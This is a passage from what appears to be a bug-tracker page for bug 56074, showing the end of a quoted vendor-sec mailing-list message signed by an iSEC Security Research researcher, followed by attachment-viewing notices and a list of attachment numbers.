wrapper. > > >-- >Paul Starzetz >iSEC Security Research >http://isec.pl/ > > >_______________________________________________ >Vendor Security mailing list >Vendor Security@lst.de >https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
Actions:
View
Attachments on
bug 56074
: 21716 |
21755
|
21757
|
21767